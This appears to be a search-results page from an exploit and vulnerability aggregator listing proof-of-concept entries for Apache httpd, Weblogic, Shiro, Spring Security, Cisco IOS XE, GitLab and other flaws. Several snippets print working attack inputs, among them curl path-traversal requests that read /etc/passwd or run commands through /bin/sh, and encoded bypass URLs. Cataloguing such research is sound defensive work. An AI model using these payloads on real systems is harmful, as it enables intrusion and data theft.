Lucene search
+L

616 matches found

Kitploit
Kitploit
added 2026/09/22 5:29 a.m.8 views

cve-2021-42013-httpd

Dockerización de una Vulnerabilidad: cve-2021-42013 Este proyecto tiene como objetivo dockerizar una vulnerabilidad específica utilizando Docker. El objetivo es crear un entorno aislado en el cual la vulnerabilidad pueda ser explotada y probada de manera segura. Aplicación vulnerable Apache HTTP...

9.8CVSS8.8AI score0.99964EPSS
SaveExploits191
Kitploit
Kitploit
added 2026/09/22 2:53 a.m.10 views

CVE-2022-22978

CVE-2022-22978 Spring Security Pasar Spring Security 成功 http://localhost:9090/login%0a Pasar Spring Security con SayMyName 失敗 http://localhost:9090/name%0d Saltar Spring Security con RBAC personalizado 失敗 http://localhost:9090/admin/admin%0d Saltar Spring Security con RBAC de anotaciones 失敗...

9.8CVSS7.5AI score0.12351EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/22 1:35 a.m.9 views

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Bypass no autorizado RCE de Weblogic CVE-2020-14882 Script de prueba de bypass no autorizado RCE de Oracle Weblogic Funciona en Python3 Solicitudes root@kitploit: POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

10CVSS8.8AI score0.99997EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/21 10:35 p.m.11 views

CVE-2020-13933

CVE-2020-13933 靶场 shiro 1.6.0 身份认证绕过漏洞 PoC http://127.0.0.1:8080/res/%3bpoc 靶场环境 代码说明 ShiroConfig.java: 权限配置, 当请求 /res/ 资源时, 302 跳转到登陆页面进行身份认证 NameController.java: · /res/name: 请求名为 name 的的资源(触发身份认证) · /res/: 不请求任何资源(不触发身份认证) 靶场验证 不在请求路由中指定资源名称时,不触发身份验证,也无资源返回: http://127.0.0.1:8080/res/...

7.5CVSS7.7AI score0.44411EPSS
SaveExploits3References2
Kitploit
Kitploit
added 2026/09/21 10:11 p.m.13 views

CVE-2023-32315-EXPLOIT

CVE-2023-32315 - Openfire Authentication Bypass This repository highlights a high security issue impacting various versions of Openfire. Openfire, a cross-platform real-time collaboration server utilizing the XMPP protocol developed by the Ignite Realtime community, faces a severe vulnerability...

8.6CVSS8.1AI score0.99999EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/21 9:18 p.m.144 views

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

5.4AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/21 7:29 p.m.629 views

ghauri

Like Ghauri, consider supporting the developer...

5.7AI score
SaveExploits0References5
Kitploit
Kitploit
added 2026/09/21 4:51 p.m.11 views

CVE-2021-41773

Zona de pruebas CVE-2021-41773 Esta es una pequeña receta de Docker para configurar un contenedor basado en Debian bookworm con una instancia de Apache HTTPd 2.4.49 vulnerable a CVE-2021-41773. El CGI se ha habilitado explícitamente para probar/verificar tanto el comportamiento de divulgación de...

9.8CVSS8.1AI score0.99992EPSS
SaveExploits165
Kitploit
Kitploit
added 2026/09/21 8:45 a.m.8 views

POC-CVE-2021-41773

POC-CVE-2021-41773 2021年10月5日,发布了一个关于Apache HTTP Server v2.4.49路径遍历攻击的CVE漏洞详情。该漏洞编号为CVE-2021-41773,其描述如下: 在Apache HTTP Server 2.4.49的路径规范化变更中发现了一个缺陷。攻击者可以利用路径遍历攻击,将URL映射到预期文档根目录之外的文件。如果文档根目录之外的文件未受到"require all denied"保护,则这些请求可能成功。此外,此缺陷可能泄露解释性文件(如CGI脚本)的源代码。该问题已知在野外被利用。此问题仅影响Apache 2.4.49,不影响更早版...

9.8CVSS7.9AI score0.99992EPSS
SaveExploits165
Kitploit
Kitploit
added 2026/09/21 7:49 a.m.10 views

linux-apache-fix-mod_rewrite-spaceInURL

SOLUCIÓN para linux Ubuntu Apache modrewrite espacio en URL Después de la última actualización de Apache, he tenido algunos problemas con los «espacios en URL» en modrewrite. 2023-04-25 - actualización apache2:amd64 2.4.38-3+deb10u9 2.4.38-3+deb10u10 Las URL que contienen «espacio» y han sido...

9.8CVSS7.3AI score0.84508EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/09/21 6:46 a.m.14 views

Scanner-CVE-2021-41773

Scanner-CVE-2021-41773 A automatic scanner to apache 2.4.49 root@kitploit: • run: go run main.go OR go build main.go && ./main • you can customize your payload • vulnerable hosts are saved root@kitploit: Make your lab: 1. Pull Image: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid 2. Run...

9.8CVSS8.4AI score0.99992EPSS
SaveExploits165
Kitploit
Kitploit
added 2026/09/21 6:33 a.m.11 views

cve-2021-41773

cve-2021-41773 CVE-2021-41773 Apache 2.4.49 中的路径遍历漏洞。 RCE 概念验证 PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...

9.8CVSS8.4AI score0.99992EPSS
SaveExploits165
Kitploit
Kitploit
added 2026/09/21 5:47 a.m.12 views

cve-2023-20198-poc-cisco

CVE-2023-20198-poc CVE-2023-20198是思科IOS XE软件Web UI功能中的一个严重漏洞,允许未经身份验证的远程攻击者在受影响的系统上创建具有特权级别15的账户,从而完全控制设备。 该漏洞的产生主要源于Web UI功能中路径解析的不当处理。攻击者通过精心构造的HTTP请求,利用双重URL编码绕过Nginx的路径过滤机制,直接访问受保护的内部端点,如/webuiwsmahttp。通过这些端点,攻击者可以发送特制的SOAP请求,执行任意CLI命令或进行配置更改。...

10CVSS8.5AI score0.99571EPSS
SaveExploits27
Nuclei
Nuclei
added 2026/09/21 2:08 a.m.85 views

Gradio - Open Redirect

Gradio allows an open redirect bypass via URL encoding, enabling attackers to redirect users to malicious sites. This can lead to phishing attacks and loss of trust in the application. id: CVE-2024-8021 info: name: Gradio - Open Redirect author: DhiyaneshDK severity: medium description: | Gradio...

6.1CVSS5.9AI score0.00744EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/20 10:26 p.m.6 views

CVE-2026-85706-gitlab-poc

CVE-2026-85706 Descripción Vulnerabilidad de lectura arbitraria de archivos sin autenticación en GitLab CE/EE CVE-2026-85706. Versiones afectadas: GitLab CE/EE 18.7 – 19.1.7 GitLab CE/EE 19.2.0 – 19.2.5 GitLab CE/EE 19.3.0 – 19.3.1 Versiones parcheadas: GitLab 19.1.8 GitLab 19.2.6 GitLab 19.3.2...

10CVSS8.4AI score0.14563EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/20 3:31 a.m.6 views

CVE-2021-42013

CVE-2021-42013 Colaborador 석은호@eunho87 CVE-2021-42013 Apache http Server Path Traversal Resumen de la vulnerabilidad Un error en el manejo de la normalización de rutas en Apache HTTP Server 2.4.50 permite leer archivos arbitrarios o ejecutar código remoto sin autenticación. Se originó debido a un...

9.8CVSS8.7AI score0.99964EPSS
SaveExploits191References1
Kitploit
Kitploit
added 2026/09/19 7:16 a.m.8 views

CVE-2021-41773

CVE-2021-41773 solo Apache httpd 2.4.49 Solo con fines educativos. Consulta la Referencia para obtener los detalles. Ejecución root@kitploit: $ git clone https://github.com/masahiro331/CVE-2021-41773.git $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run -d -p 8080:80...

9.8CVSS8.4AI score0.99992EPSS
SaveExploits165References1
Kitploit
Kitploit
added 2026/09/19 4:17 a.m.9 views

PoC-CVE-2025-12097

CVE-2025-12097 Descripción La modificación de NI del servidor Appweb contiene una vulnerabilidad de salto de directorio que permite a un atacante leer archivos arbitrarios en el servidor. La ruta URI /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini se convertirá en: pathInfo cchar...

8.7CVSS6.2AI score0.00617EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/18 11:37 p.m.8 views

CVE-2026-19794

CVE-2026-19794 WP-Stats = 2.56 - Cross-Site Scripting Almacenado No Autenticado URL del Plugin https://wordpress.org/plugins/wp-stats/ Descripción XSS reflejado no autenticado en el parámetro GET statsauthor de statspage. El filtro de saneamiento striptags se aplica antes de urldecode, lo que...

7.2CVSS5.9AI score0.0019EPSS
SaveExploits1
NVD
NVD
added 2026/09/18 3:17 p.m.6 views

CVE-2026-85511

A flaw was found in EAP's Elytron. An EAP application whose security domain is backed by an Elytron token-realm with oauth2-introspection would allow parameter substitution due to missing URL encoding...

4.2CVSS0.00131EPSS
SaveExploits0References2
Rows per page
Query Builder